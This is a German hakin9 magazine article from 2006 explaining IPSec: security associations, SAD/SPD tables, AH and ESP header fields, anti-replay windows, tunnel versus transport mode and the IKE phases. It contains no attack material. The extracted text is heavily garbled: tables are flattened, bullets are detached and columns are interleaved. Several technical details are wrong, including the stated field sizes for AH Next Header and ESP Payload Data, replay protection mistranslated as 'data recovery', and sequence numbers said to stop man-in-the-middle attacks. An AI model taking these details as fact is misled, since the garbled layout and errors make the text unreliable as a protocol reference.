Den Sicherheitsparameterzeiger (SPI – Security Parameters Index). Es handelt sich um eine 32-BitKette lokaler Reichweite (lokal für das System, welches die SA verwaltet), die explizit in AH- und ESP-Headern übertragen wird. Ein SPI mit einem Wert von 0 ist ein Sonderfall und bedeutet, dass die SA noch nicht erzeugt wurde; Die Zieladresse – es kann sich um ein Endsystem oder ein Vermittlungssystem (einen Router, eine Firewall oder eine Arbeitsstation) handeln; Die ID des Sicherheitsprotokolls (SPId – Security Protocol Identifier), die den SA-Typ (AH oder ESP) angibt.
Die Sicherheitsassoziation enthält darüber hinaus die folgenden Parameter: •
• •
•
•
die Quell- und Zielports (sie können als Parameter zur SA-Identifizierung dienen); die IP-Quelladresse; den Namen (Benutzer-ID oder Systemnamen als FQDN- bzw. X.500-Namen…); den Authentifizierungsmechanismus und eventuelle öffentliche Schlüssel; den Verschlüsselungsalgorithmus und eventuelle öffentliche Schlüssel;
hakin9 Nr. 3/2006
65
Theorie
Tabelle 1. Eine Beispiel-SAD mit zwei SAs SPI
N° SA
Quell-IP
Ziel-IP
Quell-Port
Ziel-Port
SPId
Betrieb
156
1
10.0.0.1
Any
Any
23
AH
23
1
10.0.0.8
10.0.0.5
80
Any
ESP
Typ
SPD-Nr.
...
Transport Ausgehend
2
...
Tunnel
34
...
Eingehend
Tabelle 2. Eine Beispiel-SPD
• • • •
•
• •
Regel
QuellIP
Ziel-IP
QuellPort
Ziel-Port
Aktion
SPId
Betrieb
SPD-Nr.
1
10.0.0.1
Any
Any
23
IPSec
ESP
Tunel
234
2
10.0.0.8 10.0.0.5
80
Any
Drop
-
-
412
3
10.2.2.1
10.0.0.5
Any
Any
Accept
-
-
234
4
10.2.2.1
10.0.0.3
Any
Any
Reject
-
-
21
die Lebensdauer der SA; den Betrieb (Tunnel bzw. Transport); die Sequenznummer; das Fenster der Funktion, die die Wiederherstellung der verschlüsselten Daten verhindert, wenn die entsprechende Option aktiv ist (auf diese Option kommen wir später noch zu sprechen); die Überschreitung der Sequenznummer (ein Zeichen, das angibt, ob eine Überschreitung der Sequenznummer die Kontrolle der Quelldaten auslösen und die nächste Übertragung innerhalb dieser SA verhindern soll); Path MTU – die Maximalgröße der Pakete; die SPD-Bindung – eine ID, die die jeweilige Verbindung im SPD aufsuchen lässt, indem SAD als Ausgangspunkt verwendet wird (siehe unten im Text).
Wie wird die Path MTU ermittelt? Mögen I und R jeweils für den Initiator und den Empfänger des betreffenden Tunnels stehen (oder einfach für das Tunnelende, das den Tunnelprozess initiiert und das andere Ende). I schickt ein Paket mit einer Größe von Max{ MTUI, MTUR } mit dem DF-Bit (Don't Fragment – nicht fragmentiert) auf 1 gesetzt. Wenn es unterwegs einen Router gibt, der das Paket aufspalten muss, gibt er eine ICMP destination unreachable code 4 Meldung zurück, so dass I ein kleineres Paket zu schicken muss. Das ganze Verfahren wird so lange wiederholt, bis R das Paket von I
66
hakin9 Nr. 3/2006
empfängt und keine ICMP-Fehler gemeldet werden. Der letzte MTU -Wert ist die PMTU oder die Maximalgröße der Pakete, die im künftigen Tunnel übertragen werden können. Auch wenn es klar scheinen mag, bedarf es einer kleinen Erläuterung.. Die Rede ist von SAs allgemein, ohne dass auf ihre einzelnen Arten eingegangen wird. Und es gibt ja IPSec-SAs, ISAKMP-SAs, TLS-SAs. Beispielsweise wird eine ISAKMPSA lediglich durch die SPI und SPId definiert. Wenn die ESP- und AH-Typen ins Spiel kommen, sind zwei SAs notwendig, jeweils eins für einen Typ.
Grundsätzlich wartet man nicht ab, bis eine SA endet, um ein neues zu starten, sondern das neue beginnt noch während der Lebzeit des Vorigen (so funktioniert das in CISCO-Routern, NetASQ-Firewalls und in IKE Pluto FreeS/WAN Daemons mit dem rekeymargin-Parameter). Die IKE-Version 2 enthält die Funktion standardmäßig (CREATE_CHILD_SA).
Datenbank der Sicherheitsassoziationen (SAD – Security Association Database)
Jedes SA ist in einer Datenbank der Sicherheitsassoziationen (SAD – Security Association Database)
Schlüsselverwaltung
Schlüssel werden manuell oder automatisch verliehen. Bei einer manuellen Verleihung richtet der Administrator jedes Gerät mit einem separaten Schlüssel ein. Dieser Ansatz ist nur dann sinnvoll, wenn das Netzwerk statisch und von akzeptablen Ausmaßen ist. Bei der algorithmischen Verleihung können die Kommunikationsteilnehmer die Auslösung durch DNS benutzen, und zwar mit einem asymmetrischen Algorithmus. Diese Schlüssel authentifizieren Nachrichten. Die in diesem zweiten Verleihungstyp am häufigsten eingesetzten Protokolle sind ISAKMP, OAKLEY und IKE. Es gibt drei Hauptarten von Schlüsseln: •
•
•
Schlüssel zur Chiffrierung von Schlüsseln lassen Schlüssel großer Längen (bspw. zur symmetrischen Verschlüsselung von Daten) oder langer Verfallszeiten chiffrieren; Schlüssel zur Chiffrierung von Daten dienen zur Verschlüsselung übertragener Informationen. Auch wenn die Daten sehr umfangreich sind, muss die Ver- und Entschlüsselung möglichst schnell erfolgen, daher die Wahl symmetrischer Schlüssel. Die Schwäche derartiger Schlüssel wird durch die Tatsache kompensiert, dass sie typischerweise häufig ausgetauscht werden (ihre Lebensdauer beträgt meist nicht mehr als 10 Minuten, beispielsweise in den Voreinstellungen des VPN der NetASQ-Firewall); Master-Schlüssel lassen andere Schlüssel durch Derivation erzeugen – beispielsweise zur Chiffrierung oder für digitale Signaturen.
www.hakin9.org
IPSec
Abbildung 1. Der Mechanismus zum Verhindern einer Wiederherstellung von Daten mit einem Fensterplatzierungss ystem enthalten. Die Datenbank führt Informationen über jede SA, so dass die entsprechende Behandlung eines je-
den verschickten Pakets möglich ist. Es ist eine einfache Datenbank, die von SPD abgerufen wird. Sie enthält
Tabelle 3. Eine Zusammenfassung der von AH und ESP angebotenen Dienste AH
ESP (nur Verschlüsselung)
ESP (Verschlüsselung und Authentifizierung)
Zugriffskontrolle
Ja
Ja
Ja
Datenintegrität
Ja
Nein
Ja
Unleugbarkeit
Ja
Nein
Ja
Verhindern der Wiederherstellung von Daten
Ja
Ja
Ja
Vertraulichkeit
Nein
Ja
Ja
Übertragungsvertraulichkeit
Nein
Ja
Ja
Abbildung 2. Das Headerformat von AH-Paketen
Abbildung 3. Das Headerformat von ESP-Paketen
www.hakin9.org
alle Informationen über die einzelnen SAs, die im vorigen Abschnitt aufgelistet wurden.
Datenbank der Sicherheitspolitik (SPD – Security Policy Database)
Wir definieren auch die Datenbank der Sicherheitspolitik (SPD – Security Policy Database), die für jedes einbzw. ausgehende Paket entscheiden lässt, ob es die Sicherheitsregeln einhält und sogar, ob es zum Durchweg berechtigt ist.
Sicherheit mit einem Mechanismus zum Verhindern einer Wiederherstellung von Daten
Infolge eines Angriffs, der auf die Wiederherstellung der Daten abzielt, erhält der Angreifer eine Kopie des Pakets, modifiziert es und schickt es an den eigentlichen Empfänger weiter. Solch eine Übernahme kann unerwünschte Effekte mit sich bringen, etwa die Übertragung stören oder schlimmer noch, die modifizierten Pakete können ohne Vorbehalt beim Empfänger entgegengenommen werden. Um das zu verhindern (wenn die Option, Datenwiederherstellung zu verhindern, aktiv ist), muss der Absender sicherstellen, dass die Sequenznummern nicht verschleift sind. Wenn die Sequenznummer also 232-1 erreicht, wird eine neue SA gestartet, anstatt dass die Nummer wieder auf 0 der vorigen SA eingestellt wird). Der Mechanismus, der die Wiederherstellung von
hakin9 Nr. 3/2006
67
Theorie
Daten verhindert, ist in Abbildung 1 dargestellt. Und so funktioniert es: Zuerst (beim Aushandeln der SA) wird die Fensterspanne festgelegt. Der Empfänger kennt diesen Wert, der die Maximalzahl W von IPSec-Paketen ist (standardmäßig 64), weil er eine der Informationen in der SA für die entsprechende SAD ist. Das Fenster ist in Abbildung 1 grün markiert. Innerhalb der Zeit t positioniert der Empfänger sein Fenster so, dass es sein rechtes Ende erreicht, wenn das letzte Paket zugestellt wird (siehe N in Abbildung 1). Für ein in einem gegebenen Zeitpunkt ankommendes Paket haben wir es mit 3 Fällen in der Abbildung zu tun, je nach der Sequenznummer (die wir als n bezeichnen): •
•
•
n < (N – W). In diesem Fall wird das Paket verworfen und beendet möglicherweise die Kontrolle der Quelldaten, wenn das entsprechende SA-Feld es so angibt; (N – W) < n < N. Das Paket wird empfangen und weiterverarbeitet (authentifiziert, entschlüsselt...); n > N. Hier bewegt sich das Fenster nach vorne, so dass sich das letzte Paket an seinem rechten Ende befindet, wie es unten in Abbildung 1 zu sehen ist.
Abbildung 4. AH im Tunnelbetrieb
Abbildung 5. AH im Transportbetrieb
Abbildung 6. ESP im Transportbetrieb
Sicherheit mit der PFS-Option
Die PFS-Option (Perfect Forward Security), wenn gesetzt, lässt bei einer Entdeckung des Langzeitschlüssels die davon abgeleiteten Session-Schlüssel nicht vorschauen. So können weder die SessionSchlüssel ermittelt noch die damit verschlüsselten Nachrichten dechiffriert werden, und das Knacken eines Session-Schlüssels lässt noch nicht auf die Anderen schließen. Das ergibt sich aus der Erfüllung der zwei folgenden Voraussetzungen: •
•
68
kein Session-Schlüssel (mit dem Daten chiffriert werden) sollte zum Erzeugen anderer Schlüssel eingesetzt werden; ein Schlüssel, von dem Session-Schlüssel abgeleitet werden,
hakin9 Nr. 3/2006
Abbildung 7. ESP im Tunnelbetrieb sollte nicht zum Erzeugen anderer Schlüsselarten dienen. Wenn diese Bedingungen erfüllt sind, kann man sagen, dass die PFS-Option für diese beiden Schlüsseltypen – Session-Schlüssel und die zu ihrer Erzeugung – gewährleistet ist.
Der Mechanismus zur Integritätskontrolle
Die Integritätskontrolle erfolgt mit dem ICV-Feld (Integrity Check Value), das weiter im Artikel bespro-
www.hakin9.org
chen wird. Die Kontrolle basiert auf einem Hash aller Framefelder mit einem Algorithmus wie HMAC-MD5 oder HMAC-SHA1. Die Framefelder, die nicht während der Reise der Tabelle als tatsachliche Quelle die Anschrift mitgenommen haben, werden in ihrer Originalform erhalten. Dasselbe gilt für Felder, deren Wert bei der Zustellung vorgesehen werden kann, etwa die echte Zieladresse. Andererseits werden Felder, deren Werte sich auf eine unvorhersehbare Art und Weise ändern können, wie
IPSec
die Paket-TTL, bei der ICV-Berechnung als 0 betrachtet.
Zwei Betriebe: Tunnel und Transport
Im Transportbetrieb werden nur Daten geschützt, die aus externen Schichten zur IPSec-Schicht stammen (thick data). Dieser Betrieb wird nur für Übertragungen zwischen zwei Hosts verwendet. Im Tunnelbetrieb wird auch der IPHeader geschützt (durch eine einfache Authentifizierung – Prüfung der AH-Integrität oder durch Verschlüsselung, wenn ESP eingesetzt wird) und durch einen neuen Header ersetzt. Der neue Header bedient die Übertragung im Tunnel selbst, und an dessen Ende wird der ursprüngliche Header wiederhergestellt, so dass das Paket an das eigentliche Ziel gelangen kann.
•
Das Protokoll bietet allerdings keine Vertraulichkeit, da die nicht verschlüsselten Daten von Dritten ausgelesen werden können. In Abbildung 2 sind folgende Felder zu sehen: • •
•
•
Die Subprotokolle AH und ESP
Jetzt sehen wir uns die mehrmals genannten Subprotokolle AH und ESP an.
Das Subprotokoll AH
AH bietet die folgenden Dienste: •
•
•
Authentifizierung. Es ist feststellbar, ob der angegebene Absender auch wirklich der Echte ist; Integrität. Sie wird, wie schon gesagt, durch die Berechnung des MAC (eines ICV-Parameters, der, wie wir im Folgenden sehen, ins Authentification Data Feld eingetragen wird) gewährleistet. Integrität ist eng an Unleugbarkeit gebunden, und den MAC nach der Verschlüsselung der Daten berechnet, so dass der Empfänger die Authentizität des Pakets überprüfen kann, bevor er (umsonst, wenn die Daten modifiziert wurden) sich an das leistungsintensive Entschlüsseln macht; Optionalen Schutz vor der Wiederherstellung der Daten. Manin-the-Middle-Angriffe können dank der Nummerierung von Paketen verhindert werden. Dazu dient das Sequence Number Feld.
Unleugbarkeit. Nach den dafür eingesetzten Algorithmen (beispielsweise RSA).
•
•
Next Header (32 Bits) – ID des nächsten Headers; Payload Length – AH-Größe, ausgedrückt als ein Mehrfaches von 32 Bits minus zwei. Reserved (16 Bits) – Dieses Feld ist für künftige Nutzung reserviert. Es muss den Wert 0 enthalten, sonst wird das Paket verworfen; SPI (32 Bits) – Bereits besprochen. Das Feld wird durch das Zielsystem ausgelesen, weil dort die Information notwendig ist, wie ein empfangenes Paket zu betrachten is; Sequence Number (32 Bits) – Dasselbe Feld wie bei ESP. Immer vorhanden. Authentication Data (Mehrfaches von 32 Bytes) – Das Feld enthält die ICV-Variable und wird durch
ein gleichnamiges ESP-Feld referenziert (siehe oben). Das Feld kann fehlen, wenn die Option dafür in der entsprechenden SA nicht gesetzt wurde. Für Authentifizierung und Integritätskontrolle werden grundsätzlich folgende Algorithmen verwendet: HMAC-RIPEMD-160, HMAC-MD5, HMAC-SHA-1, HMAC-DES, Keyed MD5.
Das Subprotokoll ESP (Encryption Security Payload)
Diese Transformation bietet neben den von AH unterstützten Merkmalen auch: •
•
Vertraulichkeit dank der Verschlüsselung von Daten. Dabei ist es möglich, einen Algorithmus mit Nullchiffrierung wählen, der Daten überhaupt nicht verschlüsselt (eine äußerst unsichere Option); Eindeutigkeitsschutz. Diese Option kann nur im Tunnelbetrieb und in einem anderen Betrieb als der aggressive in der ersten ISAKMPPhase verwendet werden.
Die Funktionen Integrität und Unleugbarkeit gehen Hand in Hand, so
Tabelle 4. Eine Zusammenfassung der Funktionen des Transport- und Tunnelbetriebs Transportbetrieb
Tunnelbetrieb
AH
Authentifiziert das IPPayload und einige Felder des IP-Headers sowie die Header der Ipv6-Erweiterung.
Authentifiziert das gesamte IP-Paket (den Header und einige IP-Daten) sowie einige Felder des externen IP-Headers und die Header der externen Ipv6-Erweiterungen.
ESP (nur Verschlüsselung)
Verschlüsselt das IP-Payload und den gesamten Header der Ipv6-Erweiterung nach dem ESPHeader.
Verschlüsselt das gesamte IP-Paket.
ESP (Verschlüsselung und Authentifizierung)
Verschlüsselt das IP-Payload und den gesamten Header der Ipv6-Erweiterung nach dem ESPHeader. Authentifiziert das IP-Payload, nicht aber den IP-Header.
Verschlüsselt das gesamte IP-Paket. Authentifiziert das IPPaket.
www.hakin9.org
hakin9 Nr. 3/2006
69
Theorie
dass sie manchmal unter dem Begriff Authentifizierung zusammengefasst werden. Diese letztere Funktionalität wird dank dem ICV-Feld (Integrity Check Value) gewährleistet, wie wir es noch sehen werden. Die Verhinderung der Datenwiederherstellung kann nur bei aktivierter Unleugbarkeit gewählt werden. IPSecPakete enthalten alle erforderlichen Informationen im Sequence Number Feld, die die Unmöglichkeit, Daten wiederherzustellen, bestätigen lassen, allerdings kann sie nur geprüft werden, wenn sich der Empfänger dazu entscheidet. Bei ESP sollte mindestens eine der optionalen Funktionen Authentifizierung und Vertraulichkeit gewählt werden. Im Endeffekt können wir, auch wenn ESP die Wahl eines Verschlüsselungsalgorithmus erzwingt, den Nullalgorithmus wählen, was die Vertraulichkeit (obwohl eingestellt) eliminiert. In Abbildung 3 sind folgende Felder zu sehen: •
•
70
SPI (32 Bits). Bereits besprochen. Das Feld wird durch das Zielsystem ausgelesen, weil dort die Information notwendig ist, wie ein empfangenes Paket zu betrachten ist; Sequence Number (32 Bits). Jedes Paket wird mit diesem Feld nummeriert. Das Feld führt den Wert 0, wenn eine neue SA beginnt, und das erste im Netz geschickte Paket trägt die Nummer 1. Der Wert wird bei jedem neuen Paket um 1 inkrementiert, bis hin zu 232. Wenn diese Grenze erreicht wird, sind zwei weitere Operationen möglich: Entweder ist der Schutz vor Datenwiederherstellung beim Empfänger aktiviert und eine neue SA wird erzeugt, und zwar noch vor dem Erreichen der Maximal-Sequenznummer 232 (und es wird erneut von 0 auf gezählt), oder die Option ist inaktiv und das Nummerieren der Pakete beginnt erneut von 1 im Rahmen derselben SA. Typischerweise wird diese Einstellung vom Absender gewählt,
hakin9 Nr. 3/2006
Abbildung 8. Flussverwaltung in IPSec vom Standpunkt des OSI-Modells der Empfänger braucht das aber weder zu prüfen noch anzuwenden. In der Praxis kann der Empfänger dem Absender in der SA-Parameterphase Bescheid geben, ob er die Verhinderung der Datenwiederherstellung aktiviert, und ihm somit Arbeit ersparen. Andererseits kann die Option nur aktiviert werden, wenn auch
•
•
Unleugbarkeit aktiv ist. Das Feld als solches ist immer vorhanden; Payload Data (0-255 Bits). In diesem Feld ist der IV-Parameter (Initialization Vector) zu finden, wenn der gewählte Algorithmus (z.B. DES) ihn erfordert. Das Feld ist immer vorhanden; Padding (0-255 Bits). Padding wird erforderlich, wenn der
Entschlüsselung des eingehenden Verkehrs
Wenn die IPSec-Schicht das Paket aus dem Netzwerk empfängt, überprüft sie in den Headern, ob es abgesichert wurde oder nicht. Ist es dies der Fall, so bestimmt sie die Merkmale der SA und fragt die SAD nach seinen Einstellungen ab, um das Paket zu entschlüsseln bzw. zu authentifizieren. Nachdem das Paket dechiffriert worden ist, fragt IPSec die SPD ab, um festzustellen, ob die betreffende SA die Sicherheitsregeln einhält. Bei einem eingehenden Paket haben wir es also mit folgenden Schritten zu tun: • • • • • • •
Wiederherstellung. Dies wird in den meisten Fällen getan, und zwar wegen der Fragmentierung unterwegs; Auslesen der SAD; Prüfung der Sequenznummer; Prüfung des ICV-Felds; Auslesen der SPD; Entschlüsselung; Ggf. Dekomprimierung. Die Dekomprimierung muss nach den anderen Schritten (und nicht davor, wie bei ausgehenden Paketen), also der Entschlüsselung, Authentifizierung usw. statt finden.
www.hakin9.org
IPSec
•
•
•
Verschlüsselungsalgorithmus Blockchiffrierung erzwingt, wie etwa DES. Dann ist es oft der Fall, dass die Länge der zu verschlüsselnden Daten kein genaues Mehrfache der Blocklänge ist, also werden sie auf solch eine Länge aufgefüllt. Dieses Feld ist sehr oft vorhanden! Pad Length. In diesem Feld wird die Länge des vorigen geführt, so dass wir auslesen können, wie viele Bits unbekannt (zu ergänzen) sind. Das Feld ist immer vorhanden; Next Header (8 Bits). Das Feld gibt den Typ der Informationen im Payload Data-Feld an: IPv4/ IPv6, ICMP, IP, IGRP. Es ist immer vorhanden; Authentication Data (variable Länge). Das Feld enthält die ICV-Variable, die für den ganzen Frame bis auf dieses Feld (Authentication Data) berechnet wird und die Integrität der übertragenen Daten gewährleisten lässt. Das Feld kann fehlen, wenn die Option dafür in der entsprechenden SA nicht gesetzt wurde.
Für die Verschlüsselung stehen beispielsweise folgende Algorithmen zur Wahl: DES CBC, Triple DES, RC 5, IDEA & IDEA Triple, Blowfish, CAST, NULL. Der letzte ist kein Scherz, manchmal kann die Möglichkeit, keine Verschlüsselung zu wählen, nützlich sein, sie ist allerdings sehr risikoträchtig. Offenbar werden nur symmetrische Algorithmen angeboten, was durch die viel höheren Zeit- und Leistungsansprüche der asymmetrischen Entschlüsselung zu erklären ist. Für Authentifizierung und Integrität können folgende Algorithmen eingesetzt werden: HMAC-RIPEMD160, HMAC-MD5, HMAC-SHA-1, HMAC-DES, Keyed MD5, NULL (mit demselben Vorbehalt wie vorher). Wenn Authentifizierung und Verschlüsselung aktiviert werden, erfolgt die letztere zuerst. So ist es nämlich einfacher, eine Modifizierung der Daten festzustellen (man braucht nur den ICV auszulesen); sonst müssten
Abbildung 9. Verwaltung des ausgehenden Verkehrs mit IPSec
Abbildung 10. Verwaltung des eingehenden Verkehrs mit IPSec
Abbildung 11. Kontinuität im Transportbetrieb Daten zuerst dechiffriert werden, um auf eventuelle Änderungen hin überprüft werden zu können. Außerdem reduzieren dieser Ansatz das Risiko eines DOS-Angriffs (die Akzeptanz erfolgt schneller als in dem anderen Fall, was wir bereits gesehen haben),
www.hakin9.org
und ermöglicht eine parallele Verarbeitung der empfangenen Pakete (während das Paket u zur Entschlüsselung überreicht wird, nachdem er als korrekt anerkannt worden ist, gelangt das Paket u+1 in die Prüfungsphase durch das Auslesen seiner ICV).
hakin9 Nr. 3/2006
71
Theorie
Grundsätzlich wird bei Tunnels zwischen zwei Hosts HMAC bevorzugt. Bei Verbindungen von Parallelrechnern (beispielsweise für zentrale VPN-Server, die als Switches für mehrere VPNs fungieren) sind wiederum Hashfunktionen typischer, die auf asymmetrischen Algorithmen basieren. Tabelle 3 fasst die von AH und ESP angebotenen Dienste zusammen. Achtung: Wenn sowohl ESP, als auch AH für dasselbe Paket angewendet werden müssen, wird die ESP-Transformation vor AH durchgeführt.
Vier IPSecMöglichkeiten
Abbildungen 4, 5, 6 und 7 präsentieren vier mögliche Anwendungsformen der Subprotokolle AH und ESP. Bei ESP im Transportbetrieb (Abbildung 5) sind zwei wichtige Header der ESP Header mit der SPI und der Sequenznummer sowie der ESPAuthentifizierungsheader mit den Authentifizierungsdaten. Bei ESP im Tunnelbetrieb befindet sich unter New IP Header der temporäre IP-Header mit der IP-Adresse des Routers oder eines anderen Geräts, an den der Frame unterwegs geschickt wird. Das
Tabelle 5. IKE-Bezeichnungen SA
SA-Vorschläge: Der Initiator schlägt mehrere Algorithmen vor, und der Empfänger schickt die gewählte Kombination zurück
CKY_X
Initiator- (CRY_I) und Empfängercookies (CRY_R) im ISAKMP-Header.
HASH
Das Payload des Hashingergebnisses: HASH_I gibt an, das Ergebnis wird vom Initiator, und HASH_R – vom Empfänger verschickt. Authentifiziert das IP-Payload, nicht aber den IP-Header.
gxi, gxr
Öffentliche Diffie-Hellman-Werte, jeweils für den Initiator und den Empfänger.
gxy
Geheimschlüssel, der sich aus dem Diffie-Hellman-Austausch ergibt.
No_I, No_R
Zufallsbasierte Variablen, die jeweils von dem Initiator und dem Empfänger erzeugt worden sind.
ID_I, ID_R
IDs, die jeweils bei der Authentifizierung des Initiators und des Empfängers verwendet werden.
X*
Gibt an, dass das Feld X verschlüsselt ist.
nächste Feld ist derESP-Header mit der mit der entsprechenden SA assoziierten SPI und der Sequenznummer. Rechts davon befindet sich der ESP-Authentifizierungsheader mit den Authentifizierungsdaten. Tabelle 4 fasst die Funktionen des Transport- und Tunnelbetriebs zusammen. Achtung: Bei ESP ist es möglich (allerdings nicht empfohlen) Verschlüsselung ohne Authentifizierung zu verwenden.
Abbildung 12. Mehrfache Tunnels
72
hakin9 Nr. 3/2006
www.hakin9.org
Fortgeschrittene IPSecKonfiguration
Das IPSec-Verhalten in Phase 1 kann beim Einstellen der PFS-Option und der SA-Lebensdauer bestimmt werden (indem sie beispielsweise für eine schnellere Einstellung beschränkt werden): •
Strict. Dieser Betrieb akzeptiert nur Optionen, die dieselben wie bzw. restriktiver als die Vorein-
IPSec
•
•
•
stellung sind (PFS höher, SA-Lebensdauer kürzer); Claim. Dieser Betrieb akzeptiert nur Optionen, die dieselben wie bzw. weniger restriktiv als die Voreinstellung sind (PFS niedriger, SA-Lebensdauer länger); Exact. Dieser Betrieb akzeptiert nur dieselben Optionen wie die Voreinstellung (dasselbe PFS, dieselbe SA-Lebensdauer); Obey. Dieser Betrieb akzeptiert beliebige Optionen (PFS-Pegel, SA-Lebensdauer).
Verschlüsselung ausgehender Pakete
Wenn ein zu verschickendes Paket an die IPSec-Schicht übergeben wird, fragt sie die SPD ab, um festzustellen, was sie damit tun soll. Zur Wahl stehen drei Optionen: • •
•
Vernichtung. Das Paket wird völlig vernichtet; Übertragung ohne Absicherung. Das Paket wird übertragen, ohne dass die Sicherheitspolitik angewendet wird; Abgesicherte Übertragung. Der Kern wendet die Regeln der Sicherheitspolitik an.
In allen Fällen wird die Behandlung der Pakete durch SPD verwaltet. Sie liest die Nummer der entsprechenden SA aus und sucht nach seinen Einstellungen in SAD. Wenn die SA bereits besteht, werden die Übertragungsmechanismen gestartet, sonst ruft IPSec IKE auf, um eine neue SA mit den vorgegebenen Parametern zu erzeugen. Die einzelnen Schritte bei einem ausgehenden Paket sind also wie folgt: Zuerst wird die SPD ausgelesen. Je nach den Quell- und Zieladressen und den Quell- und Zielports gibt sie die jeweils entsprechenden Regeln aus: Das Paket wird vernichtet, ohne oder mit IPSec übertragen. Im letzteren Fall wird auch das Subprotokoll (AH/ESP) und der Betrieb (Tunnel/ Transport) sowie die passende SA angegeben. Wenn es keine passende SA gibt, wendet sich das System an IKE, um es anzulegen.
Abbildung 13. Phase 1: 6 Austauschzyklen im Hauptbetrieb
Abbildung 14. Phase 2: 3 Austauschzyklen im Schnellbetrieb Die nächste Phase ist das Auslesen der SAD anhand der SPD-Angabe einer SA. Im entsprechenden Eintrag werden Übertragungsoptionen gesucht (Verschlüsselungsalgorithmen, Authentifizierungalgorithmen, SA-Lebensdauer). Danach kommt gegebenenfalls die Komprimierung. Sie muss (mit dem IPComp-Protokoll) vor der restlichen IP-Verarbeitung (Authentifizierung, Verschlüsselung, Fragmentierung) erfolgen.
www.hakin9.org
Der nächste Schritt ist die Verschlüsselung. Anhand der Informationen aus der SAD kann der (je nach dem Betrieb und dem Subprotokoll) erforderliche Abfrageteil chiffriert werden. Die Verschlüsselung besteht aus drei Etappen: AH/ESPKapselung, Auffüllung (wenn nötig) und die Chiffrierung selbst. Auch die Sequenznummer muss festgelegt werden. Wir fügen die Sequenznummer zur laufenden Abfrage (suchen in derselben SA die
hakin9 Nr. 3/2006
73
Theorie
Sequenznummer des vorigen Pakets und erhöhen sie um 1) im AH/ESPHeader hinzu. So ermöglichen wir eine erneute Verbindung und die Überprüfung durch den Empfänger, ob das Paket nicht unterwegs abgefangen wurde (wenn er die entsprechende Option aktiviert hat). Der nächste Schritt ist das Festlegen des ICV-Felds. Es lässt den Empfänger die Authentizität des Pakets bestätigen und prüfen, ob es nicht unterwegs modifiziert wurde (Integritätsprüfung). Die letzte Phase ist die Fragmentierung. Die SAD enthält auch die PMTU-Angabe (wie vorher beschrieben), also wissen wir im Voraus, ob das Paket vor dem Abschicken fragmentiert w erden muss.
Der Fall mehrerer konkurrierenden SAs (SA bundles)
Fall 1. Kontinuität im Transportbetrieb (transport adjency). Dieser Betrieb lässt uns zugleich AH und ESP anwenden, allerdings nicht auf die Art und Weise, die in Abbildung 11 dargestellt ist (daher ist er auch so selten). Fall 2. Tunneliterierung. Dieser Betrieb ermöglicht das Betreten von sich kreuzenden Tunnels zwischen zwei Endpunkten, wie in Abbildung 12 dargestellt. Wenn beispielsweise FreeS/WAN auf dem Host 192.168.0.230 installiert ist, sieht die Iterierung folgend aus: [root@c0rt0W1nch] # ipsec spigrp inet 10.0.0.2 0x3c1691a1 esp inet 10.0.0.25 0x432d3446
Beispielkonfiguration eines klassischen IPSec-Tunnels Wir müssen uns also die Konfigurationsphasen eines klassischen IPSecTunnels ansehen.
Phase 1: 6 Austauschzyklen im Hauptbetrieb
Phase 1: 6 Austauschzyklen im Hauptbetrieb realisiert 3 Ziele:
74
hakin9 Nr. 3/2006
Im Internet • •
•
• •
http://www.kb.cert.org/vuls/id/886601 – CERT Coordination Center (CERT/CC), Vulnerability Note VU#886610, Carnegie Mellon Software Engineering Institute; http://www.cisco.com/warp/public/707/cisco-sn-20030422-ike.html – Cisco Systems, Cisco Response to Internet Key Enchange Issue, 2003.
Einstellung der Sicherheitsparameter. Zwei Endpunkte müssen Parameter ausmachen, mit denen die nächsten zwei Schritte der Phase 1 und die ganze Phase 2 verschlüsselt werden. Diese Parameter sind Chiffrierschlüssel, Authentifizierungsalgorithmen und -Methoden (gemeinsame Schlüssel, Zertifikate usw.); Festlegen des gemeinsamen Schlüssels; Authentifizierung der Teilnehmer.
Während der Phase 1 haben wir es mit zwei möglichen Oakley-Betrieben zu tun. Hauptbetrieb. Dieser Betrieb schützt die Gleichheit der beiden Seiten und zwar mittels 6 Nachrichten. Die zweiErsten machen die Sicherheitspolitik aus, die nächsten Zwei tauschen den gemeinsamen Diffie-Hellman-Schlüssel und ggf. jeden Anderen, der als zusätzlicher Schlüssel für diesen Schritt vorgegeben ist, aus, und das letzte Paar ermöglicht die Authentifizierung. Aggressiver Betrieb. In diesem Betrieb wird die Gleichheit der Partner nicht geschützt und der Austausch erfolgt mit 3 Nachrichten (also schneller). Die zwei ersten lassen, mehr als im Hauptbetrieb, die Sicherheitspolitik festlegen, aber auch den Diffie-Hellman-Austausch mit allen anderen dazu erforderlichen Daten sowie den Austausch der identischen Elemente beider Seiten durchzuführen. Nachricht Zwei lässt zusätzlich den Server (den Host, an dem sich der Initiator
Über den Autor
wendet) authentifizieren. Die dritte authentifiziert den Initiator.
Phase 2: 3 Austauschzyklen im Schnellbetrieb
In dieser Phase werden alle Übertragungen mit den in Phase 1 ausgetauschten Schlüsseln abgesichert. Phase 2 lässt uns auf die SA-Einstellungen von IPSec zugreifen: •
•
die Parameter (das Subprotokoll ESP oder AH, den Authentifizierungsalgorithmus (SHA1 bzw. MD5) und den Verschlüsselungsalgorithmus (bei ESP)); die Schlüssel zur Absicherung von IP-Paketen.
In dieser Phase stehen uns zwei Optionen beim Erzeugen von IPSecSchlüsseln zur Verfügung: •
•
Basic. In diesem Betrieb erscheinen die in Phase 1 erzeugten Schlüssel; Perfect Forward Secrecy. In diesem Betrieb können in einem neuen Diffie-Hellman-Austausch neue IP-Schlüssel erzeugt werden.
Zusammenfassung
IPSec bleibt VPN-Tool dank seinen Vorteilen, die wir hier kennen lernen konnten: der Flexibilität, dem modularen Aufbau und der völligen Transparenz der Sicherheit vom Standpunkt der Anwendung. Dennoch ist IPSec sehr kompliziert, was bei NAT-Lösungen Probleme bereitet. Auch fällt es allerlei Störungen zum Opfer, was seine Interoperabilität behindert. l
Seit über 4 Jahren ist er professionell im Sicherheitsbereich tätig. Zuerst hat er bei Banken gearbeitet und hat später zu einem Hersteller von VPN-Lösungen und Firewalls gewechselt. Zurzeit lebt der Autor in Gabon, wo er als IT-Systemarchitekt für einen Mobilfunk-Betreiber arbeitet.
www.hakin9.org
Hacking nicht nur im Netz Umgebung Michał Piotr Pręgowski
Schwierigkeitsgrad
